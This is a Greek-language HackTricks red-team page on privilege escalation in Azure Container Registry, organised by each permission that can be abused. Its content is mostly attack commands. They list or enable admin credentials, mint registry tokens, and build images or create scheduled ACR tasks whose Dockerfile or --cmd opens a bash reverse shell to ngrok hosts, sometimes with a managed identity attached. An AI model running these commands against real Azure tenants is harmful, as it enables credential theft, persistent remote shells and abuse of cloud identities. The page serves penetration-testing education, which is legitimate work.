Az - Azure Container Registry Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Azure Container Registry

Για περισσότερες πληροφορίες ελέγξτε:

Az - Container Registry

Microsoft.ContainerRegistry/registries/listCredentials/action

Αυτή η άδεια επιτρέπει στον χρήστη να καταγράψει τα διαπιστευτήρια διαχειριστή του ACR. Αυτό είναι χρήσιμο για να αποκτήσει πλήρη πρόσβαση στο μητρώο.

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"

Σε περίπτωση που τα διαπιστευτήρια διαχειριστή δεν είναι ενεργοποιημένα, θα χρειαστείτε επίσης την άδεια Microsoft.ContainerRegistry/registries/write για να τα ενεργοποιήσετε με:

az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'

Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action

Αυτές οι άδειες επιτρέπουν στον χρήστη να δημιουργήσει ένα νέο token με κωδικούς πρόσβασης για πρόσβαση στο registry.

Για να χρησιμοποιήσετε το az cli για να το δημιουργήσετε όπως στο παρακάτω παράδειγμα, θα χρειαστείτε επίσης τις άδειες Microsoft.ContainerRegistry/registries/read, Microsoft.ContainerRegistry/registries/scopeMaps/read, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read, Microsoft.ContainerRegistry/registries/tokens/read

az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin

Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action

Αυτές οι άδειες επιτρέπουν στον χρήστη να κατασκευάσει και να εκτελέσει μια εικόνα στο μητρώο. Αυτό μπορεί να χρησιμοποιηθεί για να εκτελέσει κώδικα στο κοντέινερ.

Warning

Ωστόσο, η εικόνα θα εκτελείται σε ένα sandboxed περιβάλλον και χωρίς πρόσβαση στην υπηρεσία μεταδεδομένων. Αυτό σημαίνει ότι το κοντέινερ δεν θα έχει πρόσβαση στα μεταδεδομένα της παρουσίας, οπότε αυτό δεν είναι πραγματικά χρήσιμο για την αναβάθμιση δικαιωμάτων.

# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null

Microsoft.ContainerRegistry/registries/tasks/write

Αυτή είναι η κύρια άδεια που επιτρέπει τη δημιουργία και την ενημέρωση μιας εργασίας στο μητρώο. Αυτό μπορεί να χρησιμοποιηθεί για να εκτελέσετε κώδικα μέσα σε ένα κοντέινερ με μια διαχειριζόμενη ταυτότητα συνδεδεμένη σε αυτό στο κοντέινερ.

Αυτό είναι το παράδειγμα για το πώς να εκτελέσετε ένα reverse shell σε ένα κοντέινερ με την διαχειριζόμενη ταυτότητα συνδεδεμένη σε αυτό:

az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

Ένας άλλος τρόπος για να αποκτήσετε RCE από μια εργασία χωρίς να χρησιμοποιήσετε εξωτερικό αποθετήριο είναι να χρησιμοποιήσετε την εντολή az acr task create με την επιλογή --cmd. Αυτό θα σας επιτρέψει να εκτελέσετε μια εντολή στο κοντέινερ. Για παράδειγμα, μπορείτε να εκτελέσετε ένα reverse shell με την παρακάτω εντολή:

az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity

Tip

Σημειώστε ότι για να αναθέσετε την ταυτότητα που διαχειρίζεται το σύστημα δεν χρειάζεστε καμία ειδική άδεια, αν και πρέπει να έχει ενεργοποιηθεί προηγουμένως στο μητρώο και να έχει ανατεθεί κάποια άδεια για να είναι χρήσιμη.

Για να αναθέσετε μια ταυτότητα που διαχειρίζεται από τον χρήστη επίσης θα χρειαστείτε την άδεια Microsoft.ManagedIdentity/userAssignedIdentities/assign/action για να κάνετε:

az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

Για να ενημερώσετε το αποθετήριο μιας υπάρχουσας εργασίας μπορείτε να κάνετε:

az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git

Microsoft.ContainerRegistry/registries/importImage/action

Με αυτή την άδεια είναι δυνατή η εισαγωγή μιας εικόνας στο azure registry, ακόμη και χωρίς να έχετε την εικόνα τοπικά. Ωστόσο, σημειώστε ότι δεν μπορείτε να εισάγετε μια εικόνα με μια ετικέτα που ήδη υπάρχει στο registry.

# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import

Για να αφαιρέσετε ή να διαγράψετε μια συγκεκριμένη ετικέτα εικόνας από το μητρώο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή. Ωστόσο, σημειώστε ότι θα χρειαστείτε έναν χρήστη ή ένα διακριτικό με αρκετές άδειες για να το κάνετε:

az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>

az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks